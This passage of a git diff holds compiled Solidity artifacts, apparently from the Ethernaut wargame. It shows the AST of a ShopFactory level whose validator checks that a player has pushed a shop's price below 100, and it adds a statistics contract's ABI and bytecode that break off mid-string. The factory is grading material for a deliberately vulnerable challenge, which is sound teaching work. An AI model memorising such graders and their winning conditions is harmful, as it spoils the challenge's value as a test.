"nodeType":"ImportDirective","src":"85:20:107","nodes":[],"absolutePath":"src/levels/Shop.sol","file":"./Shop.sol","nameLocation":"-1:-1:-1","scope":55137,"sourceUnit":55082,"symbolAliases":[],"unitAlias":""},{"id":55136,"nodeType":"ContractDefinition","src":"107:394:107","nodes":[{"id":55111,"nodeType":"FunctionDefinition","src":"143:171:107","nodes":[],"body":{"id":55110,"nodeType":"Block","src":"226:88:107","nodes":[],"statements":[{"expression":{"id":55095,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55089,"src":"236:7:107","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":55096,"nodeType":"ExpressionStatement","src":"236:7:107"},{"assignments":[55099],"declarations":[{"constant":false,"id":55099,"mutability":"mutable","name":"_shop","nameLocation":"258:5:107","nodeType":"VariableDeclaration","scope":55110,"src":"253:10:107","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"},"typeName":{"id":55098,"nodeType":"UserDefinedTypeName","pathNode":{"id":55097,"name":"Shop","nameLocations":["253:4:107"],"nodeType":"IdentifierPath","referencedDeclaration":55081,"src":"253:4:107"},"referencedDeclaration":55081,"src":"253:4:107","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}},"visibility":"internal"}],"id":55104,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":55102,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"266:8:107","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Shop_$55081_$","typeString":"function () returns (contract Shop)"},"typeName":{"id":55101,"nodeType":"UserDefinedTypeName","pathNode":{"id":55100,"name":"Shop","nameLocations":["270:4:107"],"nodeType":"IdentifierPath","referencedDeclaration":55081,"src":"270:4:107"},"referencedDeclaration":55081,"src":"270:4:107","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}}},"id":55103,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"266:10:107","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}},"nodeType":"VariableDeclarationStatement","src":"253:23:107"},{"expression":{"arguments":[{"id":55107,"name":"_shop","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55099,"src":"301:5:107","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}],"id":55106,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"293:7:107","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":55105,"name":"address","nodeType":"ElementaryTypeName","src":"293:7:107","typeDescriptions":{}}},"id":55108,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"293:14:107","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":55094,"id":55109,"nodeType":"Return","src":"286:21:107"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"152:14:107","overrides":{"id":55091,"nodeType":"OverrideSpecifier","overrides":[],"src":"199:8:107"},"parameters":{"id":55090,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55089,"mutability":"mutable","name":"_player","nameLocation":"175:7:107","nodeType":"VariableDeclaration","scope":55111,"src":"167:15:107","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55088,"name":"address","nodeType":"ElementaryTypeName","src":"167:7:107","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"166:17:107"},"returnParameters":{"id":55094,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55093,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55111,"src":"217:7:107","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55092,"name":"address","nodeType":"ElementaryTypeName","src":"217:7:107","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"216:9:107"},"scope":55136,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":55135,"nodeType":"FunctionDefinition","src":"320:179:107","nodes":[],"body":{"id":55134,"nodeType":"Block","src":"418:81:107","nodes":[],"statements":[{"assignments":[55123],"declarations":[{"constant":false,"id":55123,"mutability":"mutable","name":"_shop","nameLocation":"433:5:107","nodeType":"VariableDeclaration","scope":55134,"src":"428:10:107","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"},"typeName":{"id":55122,"nodeType":"UserDefinedTypeName","pathNode":{"id":55121,"name":"Shop","nameLocations":["428:4:107"],"nodeType":"IdentifierPath","referencedDeclaration":55081,"src":"428:4:107"},"referencedDeclaration":55081,"src":"428:4:107","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}},"visibility":"internal"}],"id":55127,"initialValue":{"arguments":[{"id":55125,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55113,"src":"446:9:107","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":55124,"name":"Shop","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55081,"src":"441:4:107","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Shop_$55081_$","typeString":"type(contract Shop)"}},"id":55126,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"441:15:107","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}},"nodeType":"VariableDeclarationStatement","src":"428:28:107"},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":55132,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":55128,"name":"_shop","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55123,"src":"473:5:107","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}},"id":55129,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"479:5:107","memberName":"price","nodeType":"MemberAccess","referencedDeclaration":55046,"src":"473:11:107","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_uint256_$","typeString":"function () view external returns (uint256)"}},"id":55130,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"473:13:107","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"313030","id":55131,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"489:3:107","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"},"src":"473:19:107","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":55120,"id":55133,"nodeType":"Return","src":"466:26:107"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"329:16:107","overrides":{"id":55117,"nodeType":"OverrideSpecifier","overrides":[],"src":"394:8:107"},"parameters":{"id":55116,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55113,"mutability":"mutable","name":"_instance","nameLocation":"362:9:107","nodeType":"VariableDeclaration","scope":55135,"src":"346:25:107","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":55112,"name":"address","nodeType":"ElementaryTypeName","src":"346:15:107","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":55115,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55135,"src":"373:7:107","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55114,"name":"address","nodeType":"ElementaryTypeName","src":"373:7:107","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"345:36:107"},"returnParameters":{"id":55120,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55119,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55135,"src":"412:4:107","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":55118,"name":"bool","nodeType":"ElementaryTypeName","src":"412:4:107","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"411:6:107"},"scope":55136,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":55086,"name":"Level","nameLocations":["131:5:107"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"131:5:107"},"id":55087,"nodeType":"InheritanceSpecifier","src":"131:5:107"}],"canonicalName":"ShopFactory","contractDependencies":[55081],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[55136,55508,46700,48281],"name":"ShopFactory","nameLocation":"116:11:107","scope":55137,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":107} \ No newline at end of file diff --git a/contracts/out/Statistics.sol/Statistics.json b/contracts/out/Statistics.sol/Statistics.json new file mode 100644 index 000000000..c0cd20266 --- /dev/null +++ b/contracts/out/Statistics.sol/Statistics.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createNewInstance","inputs":[{"name":"instance","type":"address","internalType":"address"},{"name":"level","type":"address","internalType":"address"},{"name":"player","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"doesLevelExist","inputs":[{"name":"level","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"doesPlayerExist","inputs":[{"name":"player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"ethernaut","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"getAverageTimeTakenToCompleteLevels","inputs":[{"name":"player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getNoOfCompletedSubmissionsForLevel","inputs":[{"name":"level","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getNoOfFailedSubmissionsForLevel","inputs":[{"name":"level","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getNoOfInstancesForLevel","inputs":[{"name":"level","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getPercentageOfLevelsCompleted","inputs":[{"name":"player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getSubmissionsForLevelByPlayer","inputs":[{"name":"player","type":"address","internalType":"address"},{"name":"level","type":"address","internalType":"address"},{"name":"index","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getTimeElapsedForCompletionOfLevel","inputs":[{"name":"player","type":"address","internalType":"address"},{"name":"level","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getTotalNoOfEthernautLevels","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getTotalNoOfFailedSubmissions","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getTotalNoOfFailedSubmissionsByPlayer","inputs":[{"name":"player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getTotalNoOfFailuresForLevelAndPlayer","inputs":[{"name":"level","type":"address","internalType":"address"},{"name":"player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getTotalNoOfLevelInstancesCompleted","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getTotalNoOfLevelInstancesCompletedByPlayer","inputs":[{"name":"player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getTotalNoOfLevelInstancesCreated","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getTotalNoOfLevelInstancesCreatedByPlayer","inputs":[{"name":"player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getTotalNoOfLevelsCompletedByPlayer","inputs":[{"name":"player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getTotalNoOfPlayers","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"initialize","inputs":[{"name":"_ethernautAddress","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"isLevelCompleted","inputs":[{"name":"player","type":"address","internalType":"address"},{"name":"level","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"levels","inputs":[{"name":"","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"players","inputs":[{"name":"","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"saveNewLevel","inputs":[{"name":"level","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitFailure","inputs":[{"name":"instance","type":"address","internalType":"address"},{"name":"level","type":"address","internalType":"address"},{"name":"player","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitSuccess","inputs":[{"name":"instance","type":"address","internalType":"address"},{"name":"level","type":"address","internalType":"address"},{"name":"player","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"Initialized","inputs":[{"name":"version","type":"uint8","indexed":false,"internalType":"uint8"}],"anonymous":false},{"type":"event","name":"playerScoreProfile","inputs":[{"name":"player","type":"address","indexed":true,"internalType":"address"},{"name":"averageCompletionTime","type":"uint256","indexed":true,"internalType":"uint256"},{"name":"globalLevelsCompleted","type":"uint256","indexed":true,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc